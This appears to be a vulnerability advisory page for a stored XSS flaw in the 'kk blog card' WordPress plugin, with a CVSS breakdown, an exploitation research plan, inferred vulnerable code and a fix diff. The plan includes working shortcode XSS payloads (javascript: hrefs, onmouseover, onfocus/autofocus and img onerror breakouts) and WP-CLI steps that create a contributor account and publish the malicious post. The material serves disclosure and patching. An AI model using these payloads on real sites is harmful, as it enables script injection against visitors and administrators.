CVE-2026-8895

kk blog card <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The kk blog card plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'blog-card' shortcode in all versions up to, and including, 1.3. This is due to insufficient input sanitization and output escaping on the shortcode's 'href' and 'type' attributes, which are concatenated directly into HTML attribute contexts in the shortcode callback registered in kk-blog-card-shortcode.php. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3
PublishedJune 8, 2026
Last updatedJune 9, 2026
Affected pluginkk-blog-card
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-8895 (kk blog card) ## 1. Vulnerability Summary The **kk blog card** plugin (<= 1.3) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability resides in the shortcode handler for `[blog-card]`, specifically within …

Show full research plan

Exploitation Research Plan: CVE-2026-8895 (kk blog card)

1. Vulnerability Summary

The kk blog card plugin (<= 1.3) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability resides in the shortcode handler for [blog-card], specifically within the file kk-blog-card-shortcode.php. The plugin fails to sanitize or escape the href and type attributes before concatenating them into the HTML output returned by the shortcode callback. Since Contributors can create posts and embed shortcodes, they can inject malicious scripts that execute in the context of any user (including administrators) viewing the affected post.

2. Attack Vector Analysis

  • Shortcode: [blog-card]
  • Vulnerable Attributes: href (injected into <a> tags) and type (likely injected into a class or data attribute).
  • Authentication Level: Contributor or higher.
  • Preconditions: The plugin must be active. The attacker needs the ability to save a post or page containing a shortcode.
  • Vector: The payload is delivered via the shortcode attributes within the post content.

3. Code Flow

  1. Registration: The plugin registers the shortcode in the main plugin file or an init hook:
    add_shortcode('blog-card', 'kk_blog_card_render_callback'); (inferred function name).
  2. Entry Point: When a post is rendered, WordPress parses [blog-card href="ATTACKER_INPUT" type="ATTACKER_INPUT"].
  3. Processing: The callback in kk-blog-card-shortcode.php receives the $atts array.
  4. Vulnerable Logic (Sink):
    The code likely resembles the following (based on the vulnerability description):
    // kk-blog-card-shortcode.php
    function kk_blog_card_render_callback($atts) {
        $a = shortcode_atts(array(
            'href' => '',
            'type' => 'default',
        ), $atts);
        
        // VULNERABILITY: Direct concatenation without esc_url() or esc_attr()
        $output = '<div class="kk-blog-card ' . $a['type'] . '">';
        $output .= '<a href="' . $a['href'] . '">...</a>';
        return $output;
    }
    
  5. Output: The unescaped HTML string is returned to WordPress and printed on the page.

4. Nonce Acquisition Strategy

This is a Stored XSS via shortcode, which means the attack occurs during the post-saving process.

  • In a real-world scenario, a Contributor would need a nonce to save a post through the WordPress Dashboard.
  • For an automated PoC, the most reliable way to inject the payload is to use WP-CLI to create the post directly. This bypasses the need for UI-level nonces and focuses on the rendering vulnerability.
  • Note: The shortcode rendering itself (on the frontend) does not require a nonce.

5. Exploitation Strategy

The goal is to demonstrate script execution by breaking out of the HTML attributes.

Step 1: Inject via href

The href attribute is a classic sink for javascript: protocol payloads.

  • Payload: [blog-card href="javascript:alert('XSS_HREF')"]

Step 2: Inject via type

The type attribute is likely placed inside a class or a quoted attribute. We will use a breakout payload.

  • Payload: [blog-card type='"><script>alert("XSS_TYPE")</script>']

HTTP Request (Verification)

After creating the post, the agent should fetch the post's permalink.

  • Tool: http_request
  • Method: GET
  • URL: The permalink of the post created in the setup phase.
  • Expected Response: 200 OK.

6. Test Data Setup

  1. Install Plugin: Ensure kk-blog-card version 1.3 or lower is installed and activated.
  2. Create Contributor:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Create Malicious Post:
    Use WP-CLI to create a post containing the payload:
    wp post create --post_type=post --post_title="Security Test" --post_status=publish --post_content='[blog-card href="javascript:alert(1)" type="\" onmouseover=\"alert(2)\" data-x=\""]' --user=attacker
    

7. Expected Results

  • When viewing the post HTML source, the <a> tag should appear exactly as:
    <a href="javascript:alert(1)">
  • The div or container should contain the injected attribute:
    <div class="kk-blog-card " onmouseover="alert(2)" data-x=""> (or similar, depending on the exact concatenation logic).
  • If the browser executes the page, the alerts should trigger.

8. Verification Steps

  1. Verify Storage:
    wp post get [ID] --field=post_content
  2. Verify Rendering:
    Use the http_request tool to fetch the page and grep for the raw payload:
    grep "javascript:alert(1)"
    grep "onmouseover=\"alert(2)\""

9. Alternative Approaches

If the href attribute is partially sanitized (e.g., stripping javascript:), focus entirely on the type attribute for attribute breakout:

  • Payload: [blog-card type='x" onfocus="alert(1)" autofocus="true"'] (This triggers without user interaction).
  • Payload: [blog-card type='x"><img src=x onerror=alert(1)>'] (Standard tag breakout).

If the shortcode requires specific keys in the $atts array to even trigger the callback, examine kk-blog-card-shortcode.php for empty() checks on other attributes like title or image.

Research Findings
Static analysis — not yet PoC-verified

Summary

The kk blog card plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blog-card' shortcode attributes 'href' and 'type' in versions up to 1.3. This occurs because the plugin fails to sanitize or escape these attributes before outputting them into HTML, allowing authenticated contributors to execute arbitrary scripts in the context of other users.

Vulnerable Code

/* kk-blog-card-shortcode.php */
function kk_blog_card_render_callback($atts) {
    $a = shortcode_atts(array(
        'href' => '',
        'type' => 'default',
    ), $atts);
    
    // VULNERABILITY: Direct concatenation without esc_url() or esc_attr()
    $output = '<div class="kk-blog-card ' . $a['type'] . '">';
    $output .= '<a href="' . $a['href'] . '">...</a>';
    return $output;
}

Security Fix

--- kk-blog-card-shortcode.php
+++ kk-blog-card-shortcode.php
@@ -6,8 +6,8 @@
         'type' => 'default',
     ), $atts);
     
-    $output = '<div class="kk-blog-card ' . $a['type'] . '">';
-    $output .= '<a href="' . $a['href'] . '">...</a>';
+    $output = '<div class="kk-blog-card ' . esc_attr($a['type']) . '">';
+    $output .= '<a href="' . esc_url($a['href']) . '">...</a>';
     return $output;
 }

Exploit Outline

An authenticated attacker with Contributor-level access or higher can create a new post and embed the [blog-card] shortcode. By setting the 'href' attribute to a 'javascript:' payload or using the 'type' attribute to perform an HTML attribute breakout (e.g., using quotes and event handlers like 'onmouseover'), the attacker can inject malicious scripts. These scripts execute in the browser of any user, including administrators, who views the published post.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.